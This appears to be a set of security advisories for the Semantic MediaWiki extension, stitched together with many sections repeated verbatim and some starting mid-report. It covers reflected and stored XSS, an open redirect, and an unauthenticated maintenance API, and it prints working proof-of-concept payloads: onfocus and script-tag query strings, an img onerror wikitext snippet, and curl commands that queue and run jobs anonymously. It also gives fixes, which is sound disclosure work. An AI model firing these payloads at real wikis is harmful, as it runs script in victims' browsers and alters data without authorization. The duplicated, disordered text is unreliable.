   • HtmlBuilder::buildHTML() iterates foreach ( $urlArgs->getArray( 'cstate' ) as $key => $value ) and concatenates each into $hidden without escaping.
   • HtmlBuilder::buildHTML() passes $hidden into the template variable hidden.
5. HTML injection sink:
   • templates/FacetedSearch/search.mustache renders {{{hidden}}} into the <form>, so the concatenated markup is inserted as raw HTML.

PoC

Reproduction steps (source-derived)

1. Choose a q value.
2. Compute csum as crc32(q).
3. Send a request that includes:
   • q=<chosen>
   • csum=<crc32(q)>
   • at least one cstate[<key>]=<payload> entry

Example request shape:

/index.php/Special:FacetedSearch?q=Text&csum=<crc32(Text)>&cstate[0]=x%22%20autofocus%20onfocus%3Dalert(1)%20x%22

Impact

Attacker model

• Any remote attacker who can send HTTP requests to Special:FacetedSearch (or the localized alias mapped to the same SpecialFacetedSearch class) can supply attacker-controlled query parameters.
• Preconditions:
  • The attacker must make cstate survive ParametersProcessor::checkRequest(), either by setting csum to crc32(q) (when filtered != 1), or by setting filtered=1.
  • The attacker must supply cstate[<key>] values containing characters that break out of the HTML value="..." attribute context (for example an injected " to terminate the attribute value).

Severity and CVSS reasoning

Proposed severity: MEDIUM.

Proposed CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.

Rationale:

• AV:N: delivered over the network via query parameters.
• AC:L: requires only setting q, csum, and at least one cstate entry.
• PR:N: no authentication required for the request path in this code.
• UI:R: the victim must load the crafted URL.
• S:C: reflected XSS executes in the wiki origin and can affect other users depending on deployment and browser behavior.

Why this is a residual of CVE-2025-10354

• The CVE-2025-10354 hardening shipped by escaping the q parameter before emitting it into the value="{{q}}" attribute.
• Commit 3d675ce updates only the q rendering to use htmlspecialchars( $urlArgs->get( 'q', '' ) ) and does not touch the adjacent cstate -> $hidden construction loop.
• As a result, cstate remains an unescaped input source that flows into the same raw template injection point ({{{hidden}}}), creating a distinct reflected-XSS lane.

Output (from code inspection)

Given the payload idea where cstate[0] starts with x" ... x", HtmlBuilder.php constructs the hidden fragment by concatenation:

<input name="cstate[0]" type="hidden" value="x" autofocus onfocus=alert(1) x">

Because search.mustache injects the fragment via {{{hidden}}}, the attacker-controlled markup participates in normal HTML parsing in the response body.

Suggested fix

• Escape both the cstate key and value when constructing $hidden.
• Minimal code change in src/MediaWiki/Specials/FacetedSearch/HtmlBuilder.php:

foreach ( $urlArgs->getArray( 'cstate' ) as $key => $value ) {
	$safeKey = htmlspecialchars( (string)$key, ENT_QUOTES, 'UTF-8' );
	$safeValue = htmlspecialchars( (string)$value, ENT_QUOTES, 'UTF-8' );
	$hidden .= '<input name="cstate[' . $safeKey . ']" type="hidden" value="' . $safeValue . '">';
}

This keeps the raw {{{hidden}}} template insertion safe by ensuring the concatenated HTML fragment itself is attribute-escaped.

How I found it and a note on tooling

I anchored on the published CVE-2025-10354 patch by verifying in the checked-out repository that commit 3d675ce changes only the q rendering in HtmlBuilder.php to use htmlspecialchars.

Then I traced the reachable request path from SpecialFacetedSearch::execute() through ParametersProcessor::checkRequest() (checksum gate for whether cstate survives) into HtmlBuilder::buildHTML() where $hidden is constructed from cstate without escaping and injected into templates/FacetedSearch/search.mustache via {{{hidden}}}.

(End of file)

AI tooling

I used AI assistance for the code audit and for drafting this report. I manually verified the finding against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.

Reflected XSS via a forged cursor pagination token

Failure mode

Special:Ask accepts a cursor query parameter for keyset pagination (added in 7.0.0). The token is decoded by CursorEncoder, which is an unsigned base64url-encoded JSON blob, so its contents are fully attacker-controlled. When the cursor's sort anchor does not match the request's sort= / order=, QueryCreator::applyCursorIfRequested() builds an error message by interpolating the attacker-controlled sort_prop / sort_order values into a raw string via Query::addErrors().

Unlike SMW's message-key errors, this raw string bypasses the message layer's sanitisation (ProcessingErrorMsgHandler::normalizeAndDecodeMessages() passes a non-key, non-encoded string through unchanged). ErrorWidget::queryError() then assembles the errors and passes them to Html::errorBox(), whose first argument is emitted as raw HTML. The result is a reflected cross-site scripting vulnerability: a crafted cursor token containing markup in sort_prop (or sort_order) executes script in the victim's browser on the wiki origin.

No authentication or special permission is required. The payload is delivered via a crafted link, e.g. Special:Ask?q=...&p[cursor]=<forged token> where the token decodes to {"v":1,"sort_prop":"<script>...</script>"}. Confirmed executing in a browser; the responses carry no Content-Security-Policy, so inline script is not blocked.

Remediation

• Output-encode the attacker-controlled sort_prop / sort_order values before they are interpolated into the error text in QueryCreator, so no raw user input enters the error stream.
• Defense in depth: the format=debug output path that reflected the same error text was hardened separately in GHSA-q5fm-9mx6-44f4.

Maintenance note

Query error strings are rendered as raw HTML by ErrorWidget::queryError() via Html::errorBox(). Any error added through Query::addErrors() that embeds user-controlled text must be output-encoded (or use a message key); pagination and validation error text is attacker-influenced and must not be treated as trusted.

Query debug output XSS

Failure mode

Semantic MediaWiki's query debug output (format=debug, or the debug request parameter on Special:Ask) is assembled by SMW\Query\DebugFormatter and emitted as raw HTML. Several of its sinks apply no output-context encoding, so attacker-controlled query input is reflected into the page without escaping:

• buildHTML() echoes the re-serialized ASK query string escaping only [; <, >, ", ' pass through.
• prettifySQL() returns the generated SQL verbatim. Query value literals are inlined into the SQL through the database layer's quoting (SQL-escaping only, no HTML encoding), so markup in a value survives.
• prettifyExplain() echoes EXPLAIN output; on PostgreSQL the plan text contains the WHERE literals.

On Special:Ask the resulting string is concatenated into the page and sent through OutputPage::addHTML, never through the MediaWiki parser or Sanitizer. No special user right is required; an anonymous request suffices.

This is a reflected XSS: the payload is taken from the request and echoed in the same response. Exploitation requires the query condition to target a text/blob-typed property (whose value is re-serialized verbatim); the predefined _txt properties (Text, etc.) that ship on every install satisfy this, so no attacker-created content is needed. Example request:

Special:Ask?q=[[Text::<script>alert(document.domain)</script>]]&debug=1

Remediation

• Apply output-context escaping at the DebugFormatter boundary. The buildHTML() contract already assumes its inputs are HTML-safe, but its callers do not honour that; escape each entry value on emission, and the SQL and EXPLAIN strings before they are wrapped.
• Escaping only the query-string echo is insufficient: prettifySQL() and the "Auxilliary Tables" executed-query text carry the same attacker-controlled literals.

Scope

The prettifySPARQL() sink already encodes < and > and is not affected. The same debug path is also reachable through inline {{#ask:...|format=debug}}, but that output returns into parser context and is sanitized there; the reflected Special:Ask path is the exposed sink.

Relationship to GHSA-5jhc-3j2f-52rv

This issue was identified while splitting the consolidated report GHSA-5jhc-3j2f-52rv into per-vulnerability advisories. It is distinct from the four items in that report (plain table header, sep, SearchByProperty value, open redirect) and from Special:Ask form-input XSS (which is escaped separately).

Failure mode

Special:URIResolver resolves its user-controlled subpage to a MediaWiki title and issues an HTTP 303 redirect to $title->getFullURL() without validating the resolved target. A crafted subpage can make that target point off-host: an interwiki prefix redirects to the foreign wiki (for example Special:URIResolver/mw-3AFoo, which decodes to mw:Foo, redirects to https://www.mediawiki.org/wiki/Foo), and where the resolved URL carries an authority the target can even embed user:pass@host credentials. The result is an open redirect to an attacker-influenced host, usable for phishing from a trusted wiki URL.

Remediation

• The resolved target URL is parsed and compared against the current host at the redirect sink.
• The redirect is rejected (bad-title error page) when a user or pass component is present, or when the host does not match the current host.

Maintenance note

Redirect code must validate the final target URL, not just the input path. Host comparison belongs at the redirect sink: each sink (special page, entry point) must validate its own target rather than relying on upstream normalisation.

Failure mode

sep was inserted verbatim into the HTML that joins a table cell's values. This made it possible to inject HTML through the separator value. The same unsanitised table HTML is produced both for the standard Special:Ask render and for its raw request output (request_type=raw), so the injection was reachable without authentication.

Remediation

• In all non-wiki output modes (HTML, raw request, file), sep is escaped unless it is a safe <br> variant.
• This preserves legitimate line-break separators while blocking markup injection.

Maintenance note

If the table renderer ever gains richer separator semantics, keep the whitelist explicit. Do not expand the allowed HTML surface casually.

Failure mode

The value parameter was reflected back into rendered output and error messaging paths without enough output-context encoding.

Remediation

• The form value is escaped before it is placed back into the input field.
• Derived error messages are also escaped before being rendered into HTML.

Maintenance note

Do not treat error text as trusted just because it originated from validation. Validation output can still be attacker-influenced.

Failure mode

When headers=plain, table header text was emitted into <th> via a raw HTML path. User-controlled mainlabel content could therefore become executable HTML.

Remediation

• TableResultPrinter now applies output-context escaping before passing plain headers to the table renderer.
• The fix is limited to the HTML/plain-header branch so safe rendering modes are unaffected.

Why this is the right layer

The header value is not a structural token; it is display data. Sanitizing it at the sink is correct because the renderer owns the final HTML emission.

Summary

The api.php?action=smwtask API module performs no authorization check. The equivalent maintenance interface in the web UI (Special:SMWAdmin) requires the smw-admin right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.

Details

SMW\MediaWiki\Api\Task::execute() (src/MediaWiki/Api/Task.php) reads the request parameters, resolves a task through TaskFactory, and runs it. It contains no permission check — no smw-admin, no checkUserRightsAny(), no per-task right.

The only gates on the module are:

• needsToken( 'csrf' ) — this is not authorization. MediaWiki issues anonymous users a fixed, public CSRF token (+\), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.
• mustBePosted() / isWriteMode() — do not gate on group membership.

By contrast, Special:SMWAdmin restricts access via parent::__construct( 'SMWAdmin', 'smw-admin' ) and raises PermissionsError when the smw-admin right is absent. The API path bypasses that restriction entirely.

Tasks reachable anonymously through the module include:

• table-statistics, duplicate-lookup — return internal store statistics and enumerate the internal object-ID space (intended to be behind Special:SMWAdmin → Supplementary functions).
• insert-job — enqueues any Semantic MediaWiki job type (including smw.fulltextSearchTableRebuild, smw.propertyStatisticsRebuild, smw.entityIdDisposer) for an arbitrary title.
• update, check-query, run-joblist — run update jobs and #ask queries synchronously within the request; run-joblist pops and executes queued jobs inline.

Because the read tasks disclose the internal object-ID space and insert-job can enqueue smw.entityIdDisposer with a specific id parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.

Proof of concept

On a default installation, as an unauthenticated visitor:

# 1. Obtain the anonymous CSRF token (the fixed public value "+\")
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
#   -> {"query":{"tokens":{"csrftoken":"+\\"}}}

# 2. Read internal database statistics — HTTP 200 with the data
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \
  'https://HOST/api.php'
#   -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...

# 3. Enqueue a maintenance job (state-changing)
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
  --data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":""}}   (job now present in the queue)

# 4. Execute queued jobs synchronously in the anonymous request
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
  --data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}

Reproduced on master against a default install, with the requester confirmed anonymous (action=query&meta=userinfo returned {"id":0,"anon":""}).

Impact

An unauthenticated attacker can:

• Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and enumerate the internal object-ID space.
• Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs, #ask queries, and queued jobs, degrading wiki performance.
• Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data.

Practical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost.

Affected versions

All releases that ship the smwtask API module (introduced in 3.x) up to and including the current release.

Mitigation

Upgrading to 7.3.0+ or apply a local patch in localSettings.php to disable the endpoint if you can't update:

$wgExtensionFunctions[] = static function () {
      unset( $GLOBALS['wgAPIModules']['smwtask'] );
};

Summary

Special:FacetedSearch cstate hidden inputs enable reflected XSS (residual of CVE-2025-10354)

Details

Affected versions and vulnerable location

• Confirmed present on latest shipped release tag available in the local clone: SemanticMediaWiki/SemanticMediaWiki@7.2.0.
• Confirmed present on default branch master at HEAD 18f418b4cdf2875e67a741349179a22c1573f61c.

Vulnerable sink (default-branch representation):

• src/MediaWiki/Specials/FacetedSearch/HtmlBuilder.php:131-133
  • Builds $hidden by concatenating unescaped request-controlled cstate[$key] values into an HTML attribute context (value="...").
• templates/FacetedSearch/search.mustache:25
  • Inserts the constructed fragment via {{{hidden}}} (no HTML escaping at this boundary).

Reachability trace (verified from source)

1. HTTP entrypoint:
   • GET to Special:FacetedSearch dispatches into SMW\MediaWiki\Specials\SpecialFacetedSearch::execute().
2. Request decoding boundary:
   • SpecialFacetedSearch::execute() constructs UrlArgs from $request->getValues() and calls ParametersProcessor::checkRequest($request).
3. Checksum gate:
   • ParametersProcessor::checkRequest() clears cstate only when filtered != 1 and getInt('csum', 0) != crc32(getVal('q', '')).
4. Decoder -> HTML assembly:
   • HtmlBuilder::buildHTML() iterates foreach ( $urlArgs->getArray( 'cstate' ) as $key => $value ) and concatenates each into $hidden without escaping.
   • HtmlBuilder::buildHTML() passes $hidden into the template variable hidden.
5. HTML injection sink:
   • templates/FacetedSearch/search.mustache renders {{{hidden}}} into the <form>, so the concatenated markup is inserted as raw HTML.

PoC

Reproduction steps (source-derived)

1. Choose a q value.
2. Compute csum as crc32(q).
3. Send a request that includes:
   • q=<chosen>
   • csum=<crc32(q)>
   • at least one cstate[<key>]=<payload> entry

Example request shape:

/index.php/Special:FacetedSearch?q=Text&csum=<crc32(Text)>&cstate[0]=x%22%20autofocus%20onfocus%3Dalert(1)%20x%22

Impact

Attacker model

• Any remote attacker who can send HTTP requests to Special:FacetedSearch (or the localized alias mapped to the same SpecialFacetedSearch class) can supply attacker-controlled query parameters.
• Preconditions:
  • The attacker must make cstate survive ParametersProcessor::checkRequest(), either by setting csum to crc32(q) (when filtered != 1), or by setting filtered=1.
  • The attacker must supply cstate[<key>] values containing characters that break out of the HTML value="..." attribute context (for example an injected " to terminate the attribute value).

Severity and CVSS reasoning

Proposed severity: MEDIUM.

Proposed CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.

Rationale:

• AV:N: delivered over the network via query parameters.
• AC:L: requires only setting q, csum, and at least one cstate entry.
• PR:N: no authentication required for the request path in this code.
• UI:R: the victim must load the crafted URL.
• S:C: reflected XSS executes in the wiki origin and can affect other users depending on deployment and browser behavior.

Why this is a residual of CVE-2025-10354

• The CVE-2025-10354 hardening shipped by escaping the q parameter before emitting it into the value="{{q}}" attribute.
• Commit 3d675ce updates only the q rendering to use htmlspecialchars( $urlArgs->get( 'q', '' ) ) and does not touch the adjacent cstate -> $hidden construction loop.
• As a result, cstate remains an unescaped input source that flows into the same raw template injection point ({{{hidden}}}), creating a distinct reflected-XSS lane.

Output (from code inspection)

Given the payload idea where cstate[0] starts with x" ... x", HtmlBuilder.php constructs the hidden fragment by concatenation:

<input name="cstate[0]" type="hidden" value="x" autofocus onfocus=alert(1) x">

Because search.mustache injects the fragment via {{{hidden}}}, the attacker-controlled markup participates in normal HTML parsing in the response body.

Suggested fix

• Escape both the cstate key and value when constructing $hidden.
• Minimal code change in src/MediaWiki/Specials/FacetedSearch/HtmlBuilder.php:

foreach ( $urlArgs->getArray( 'cstate' ) as $key => $value ) {
	$safeKey = htmlspecialchars( (string)$key, ENT_QUOTES, 'UTF-8' );
	$safeValue = htmlspecialchars( (string)$value, ENT_QUOTES, 'UTF-8' );
	$hidden .= '<input name="cstate[' . $safeKey . ']" type="hidden" value="' . $safeValue . '">';
}

This keeps the raw {{{hidden}}} template insertion safe by ensuring the concatenated HTML fragment itself is attribute-escaped.

How I found it and a note on tooling

I anchored on the published CVE-2025-10354 patch by verifying in the checked-out repository that commit 3d675ce changes only the q rendering in HtmlBuilder.php to use htmlspecialchars.

Then I traced the reachable request path from SpecialFacetedSearch::execute() through ParametersProcessor::checkRequest() (checksum gate for whether cstate survives) into HtmlBuilder::buildHTML() where $hidden is constructed from cstate without escaping and injected into templates/FacetedSearch/search.mustache via {{{hidden}}}.

(End of file)

AI tooling

I used AI assistance for the code audit and for drafting this report. I manually verified the finding against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.

Query debug output XSS

Failure mode

Semantic MediaWiki's query debug output (format=debug, or the debug request parameter on Special:Ask) is assembled by SMW\Query\DebugFormatter and emitted as raw HTML. Several of its sinks apply no output-context encoding, so attacker-controlled query input is reflected into the page without escaping:

• buildHTML() echoes the re-serialized ASK query string escaping only [; <, >, ", ' pass through.
• prettifySQL() returns the generated SQL verbatim. Query value literals are inlined into the SQL through the database layer's quoting (SQL-escaping only, no HTML encoding), so markup in a value survives.
• prettifyExplain() echoes EXPLAIN output; on PostgreSQL the plan text contains the WHERE literals.

On Special:Ask the resulting string is concatenated into the page and sent through OutputPage::addHTML, never through the MediaWiki parser or Sanitizer. No special user right is required; an anonymous request suffices.

This is a reflected XSS: the payload is taken from the request and echoed in the same response. Exploitation requires the query condition to target a text/blob-typed property (whose value is re-serialized verbatim); the predefined _txt properties (Text, etc.) that ship on every install satisfy this, so no attacker-created content is needed. Example request:

Special:Ask?q=[[Text::<script>alert(document.domain)</script>]]&debug=1

Remediation

• Apply output-context escaping at the DebugFormatter boundary. The buildHTML() contract already assumes its inputs are HTML-safe, but its callers do not honour that; escape each entry value on emission, and the SQL and EXPLAIN strings before they are wrapped.
• Escaping only the query-string echo is insufficient: prettifySQL() and the "Auxilliary Tables" executed-query text carry the same attacker-controlled literals.

Scope

The prettifySPARQL() sink already encodes < and > and is not affected. The same debug path is also reachable through inline {{#ask:...|format=debug}}, but that output returns into parser context and is sanitized there; the reflected Special:Ask path is the exposed sink.

Relationship to GHSA-5jhc-3j2f-52rv

This issue was identified while splitting the consolidated report GHSA-5jhc-3j2f-52rv into per-vulnerability advisories. It is distinct from the four items in that report (plain table header, sep, SearchByProperty value, open redirect) and from Special:Ask form-input XSS (which is escaped separately).

Failure mode

Special:URIResolver resolves its user-controlled subpage to a MediaWiki title and issues an HTTP 303 redirect to $title->getFullURL() without validating the resolved target. A crafted subpage can make that target point off-host: an interwiki prefix redirects to the foreign wiki (for example Special:URIResolver/mw-3AFoo, which decodes to mw:Foo, redirects to https://www.mediawiki.org/wiki/Foo), and where the resolved URL carries an authority the target can even embed user:pass@host credentials. The result is an open redirect to an attacker-influenced host, usable for phishing from a trusted wiki URL.

Remediation

• The resolved target URL is parsed and compared against the current host at the redirect sink.
• The redirect is rejected (bad-title error page) when a user or pass component is present, or when the host does not match the current host.

Maintenance note

Redirect code must validate the final target URL, not just the input path. Host comparison belongs at the redirect sink: each sink (special page, entry point) must validate its own target rather than relying on upstream normalisation.

Failure mode

sep was inserted verbatim into the HTML that joins a table cell's values. This made it possible to inject HTML through the separator value. The same unsanitised table HTML is produced both for the standard Special:Ask render and for its raw request output (request_type=raw), so the injection was reachable without authentication.

Remediation

• In all non-wiki output modes (HTML, raw request, file), sep is escaped unless it is a safe <br> variant.
• This preserves legitimate line-break separators while blocking markup injection.

Maintenance note

If the table renderer ever gains richer separator semantics, keep the whitelist explicit. Do not expand the allowed HTML surface casually.

Failure mode

The value parameter was reflected back into rendered output and error messaging paths without enough output-context encoding.

Remediation

• The form value is escaped before it is placed back into the input field.
• Derived error messages are also escaped before being rendered into HTML.

Maintenance note

Do not treat error text as trusted just because it originated from validation. Validation output can still be attacker-influenced.

Failure mode

When headers=plain, table header text was emitted into <th> via a raw HTML path. User-controlled mainlabel content could therefore become executable HTML.

Remediation

• TableResultPrinter now applies output-context escaping before passing plain headers to the table renderer.
• The fix is limited to the HTML/plain-header branch so safe rendering modes are unaffected.

Why this is the right layer

The header value is not a structural token; it is display data. Sanitizing it at the sink is correct because the renderer owns the final HTML emission.

Summary

The SemanticMediaWiki extension inserts the unsanitized value of a data attribute into the DOM as HTML, allowing for stored XSS through wikitext.

Details

In ext.smw.js, the data-subtab attribute of all elements with the smw-subtab class is parsed as JSON and appended to the innerHTML of the element: https://github.com/SemanticMediaWiki/SemanticMediaWiki/blob/62f1fa765b626e21d88999b97a3e8029db9fd385/res/smw/ext.smw.js#L37-L42 However, most data attributes (except for reserved ones) like data-subtab can be used in wikitext. Therefore, it is possible to insert arbitrary HTML and JS through wikitext. The decoded (" will turn to ", but it will be decoded when it is retrieved through .dataset) value of the data-subtab attribute in the payload is "<img src='' onerror=alert(1)>". This is valid JSON and returns a string with <img src='' onerror=alert(1)> when being decoded.

PoC

1. Create a page with the following contents:

{{#tag:div|
|class=smw-subtab
|data-subtab=""<img src='' onerror=alert(1)>""
}}

2. Visit the page

Impact

Arbitrary HTML can be inserted into the DOM by any user with the edit right, allowing for JavaScript to be executed.

Summary

The api.php?action=smwtask API module performs no authorization check. The equivalent maintenance interface in the web UI (Special:SMWAdmin) requires the smw-admin right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.

Details

SMW\MediaWiki\Api\Task::execute() (src/MediaWiki/Api/Task.php) reads the request parameters, resolves a task through TaskFactory, and runs it. It contains no permission check — no smw-admin, no checkUserRightsAny(), no per-task right.

The only gates on the module are:

• needsToken( 'csrf' ) — this is not authorization. MediaWiki issues anonymous users a fixed, public CSRF token (+\), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.
• mustBePosted() / isWriteMode() — do not gate on group membership.

By contrast, Special:SMWAdmin restricts access via parent::__construct( 'SMWAdmin', 'smw-admin' ) and raises PermissionsError when the smw-admin right is absent. The API path bypasses that restriction entirely.

Tasks reachable anonymously through the module include:

• table-statistics, duplicate-lookup — return internal store statistics and enumerate the internal object-ID space (intended to be behind Special:SMWAdmin → Supplementary functions).
• insert-job — enqueues any Semantic MediaWiki job type (including smw.fulltextSearchTableRebuild, smw.propertyStatisticsRebuild, smw.entityIdDisposer) for an arbitrary title.
• update, check-query, run-joblist — run update jobs and #ask queries synchronously within the request; run-joblist pops and executes queued jobs inline.

Because the read tasks disclose the internal object-ID space and insert-job can enqueue smw.entityIdDisposer with a specific id parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.

Proof of concept

On a default installation, as an unauthenticated visitor:

# 1. Obtain the anonymous CSRF token (the fixed public value "+\")
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
#   -> {"query":{"tokens":{"csrftoken":"+\\"}}}

# 2. Read internal database statistics — HTTP 200 with the data
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \
  'https://HOST/api.php'
#   -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...

# 3. Enqueue a maintenance job (state-changing)
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
  --data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":""}}   (job now present in the queue)

# 4. Execute queued jobs synchronously in the anonymous request
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
  --data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}

Reproduced on master against a default install, with the requester confirmed anonymous (action=query&meta=userinfo returned {"id":0,"anon":""}).

Impact

An unauthenticated attacker can:

• Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and enumerate the internal object-ID space.
• Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs, #ask queries, and queued jobs, degrading wiki performance.
• Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data.

Practical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost.

Affected versions

All releases that ship the smwtask API module (introduced in 3.x) up to and including the current release.

Mitigation

Upgrading to 7.3.0+ or apply a local patch in localSettings.php to disable the endpoint if you can't update:

$wgExtensionFunctions[] = static function () {
      unset( $GLOBALS['wgAPIModules']['smwtask'] );
};

Summary

Special:FacetedSearch cstate hidden inputs enable reflected XSS (residual of CVE-2025-10354)

Details

Affected versions and vulnerable location

• Confirmed present on latest shipped release tag available in the local clone: SemanticMediaWiki/SemanticMediaWiki@7.2.0.
• Confirmed present on default branch master at HEAD 18f418b4cdf2875e67a741349179a22c1573f61c.

Vulnerable sink (default-branch representation):

• src/MediaWiki/Specials/FacetedSearch/HtmlBuilder.php:131-133
  • Builds $hidden by concatenating unescaped request-controlled cstate[$key] values into an HTML attribute context (value="...").
• templates/FacetedSearch/search.mustache:25
  • Inserts the constructed fragment via {{{hidden}}} (no HTML escaping at this boundary).

Reachability trace (verified from source)

1. HTTP entrypoint:
   • GET to Special:FacetedSearch dispatches into SMW\MediaWiki\Specials\SpecialFacetedSearch::execute().
2. Request decoding boundary:
   • SpecialFacetedSearch::execute() constructs UrlArgs from $request->getValues() and calls ParametersProcessor::checkRequest($request).
3. Checksum gate:
   • ParametersProcessor::checkRequest() clears cstate only when filtered != 1 and getInt('csum', 0) != crc32(getVal('q', '')).
4. Decoder -> HTML assembly:
   • HtmlBuilder::buildHTML() iterates foreach ( $urlArgs->getArray( 'cstate' ) as $key => $value ) and concatenates each into $hidden without escaping.
   • HtmlBuilder::buildHTML() passes $hidden into the template variable hidden.
5. HTML injection sink:
   • templates/FacetedSearch/search.mustache renders {{{hidden}}} into the <form>, so the concatenated markup is inserted as raw HTML.

PoC

Reproduction steps (source-derived)

1. Choose a q value.
2. Compute csum as crc32(q).
3. Send a request that includes:
   • q=<chosen>
   • csum=<crc32(q)>
   • at least one cstate[<key>]=<payload> entry

Example request shape:

/index.php/Special:FacetedSearch?q=Text&csum=<crc32(Text)>&cstate[0]=x%22%20autofocus%20onfocus%3Dalert(1)%20x%22

Impact

Attacker model

• Any remote attacker who can send HTTP requests to Special:FacetedSearch (or the localized alias mapped to the same SpecialFacetedSearch class) can supply attacker-controlled query parameters.
• Preconditions:
  • The attacker must make cstate survive ParametersProcessor::checkRequest(), either by setting csum to crc32(q) (when filtered != 1), or by setting filtered=1.
  • The attacker must supply cstate[<key>] values containing characters that break out of the HTML value="..." attribute context (for example an injected " to terminate the attribute value).

Severity and CVSS reasoning

Proposed severity: MEDIUM.

Proposed CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.

Rationale:

• AV:N: delivered over the network via query parameters.
• AC:L: requires only setting q, csum, and at least one cstate entry.
• PR:N: no authentication required for the request path in this code.
• UI:R: the victim must load the crafted URL.
• S:C: reflected XSS executes in the wiki origin and can affect other users depending on deployment and browser behavior.

Why this is a residual of CVE-2025-10354

• The CVE-2025-10354 hardening shipped by escaping the q parameter before emitting it into the value="{{q}}" attribute.
• Commit 3d675ce updates only the q rendering to use htmlspecialchars( $urlArgs->get( 'q', '' ) ) and does not touch the adjacent cstate -> $hidden construction loop.
• As a result, cstate remains an unescaped input source that flows into the same raw template injection point ({{{hidden}}}), creating a distinct reflected-XSS lane.

Output (from code inspection)

Given the payload idea where cstate[0] starts with x" ... x", HtmlBuilder.php constructs the hidden fragment by concatenation:

<input name="cstate[0]" type="hidden" value="x" autofocus onfocus=alert(1) x">

Because search.mustache injects the fragment via {{{hidden}}}, the attacker-controlled markup participates in normal HTML parsing in the response body.

Suggested fix

• Escape both the cstate key and value when constructing $hidden.
• Minimal code change in src/MediaWiki/Specials/FacetedSearch/HtmlBuilder.php:

foreach ( $urlArgs->getArray( 'cstate' ) as $key => $value ) {
	$safeKey = htmlspecialchars( (string)$key, ENT_QUOTES, 'UTF-8' );
	$safeValue = htmlspecialchars( (string)$value, ENT_QUOTES, 'UTF-8' );
	$hidden .= '<input name="cstate[' . $safeKey . ']" type="hidden" value="' . $safeValue . '">';
}

This keeps the raw {{{hidden}}} template insertion safe by ensuring the concatenated HTML fragment itself is attribute-escaped.

How I found it and a note on tooling

I anchored on the published CVE-2025-10354 patch by verifying in the checked-out repository that commit 3d675ce changes only the q rendering in HtmlBuilder.php to use htmlspecialchars.

Then I traced the reachable request path from SpecialFacetedSearch::execute() through ParametersProcessor::checkRequest() (checksum gate for whether cstate survives) into HtmlBuilder::buildHTML() where $hidden is constructed from cstate without escaping and injected into templates/FacetedSearch/search.mustache via {{{hidden}}}.

(End of file)

AI tooling

I used AI assistance for the code audit and for drafting this report. I manually verified the finding against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.

Query debug output XSS

Failure mode

Semantic MediaWiki's query debug output (format=debug, or the debug request parameter on Special:Ask) is assembled by SMW\Query\DebugFormatter and emitted as raw HTML. Several of its sinks apply no output-context encoding, so attacker-controlled query input is reflected into the page without escaping:

• buildHTML() echoes the re-serialized ASK query string escaping only [; <, >, ", ' pass through.
• prettifySQL() returns the generated SQL verbatim. Query value literals are inlined into the SQL through the database layer's quoting (SQL-escaping only, no HTML encoding), so markup in a value survives.
• prettifyExplain() echoes EXPLAIN output; on PostgreSQL the plan text contains the WHERE literals.

On Special:Ask the resulting string is concatenated into the page and sent through OutputPage::addHTML, never through the MediaWiki parser or Sanitizer. No special user right is required; an anonymous request suffices.

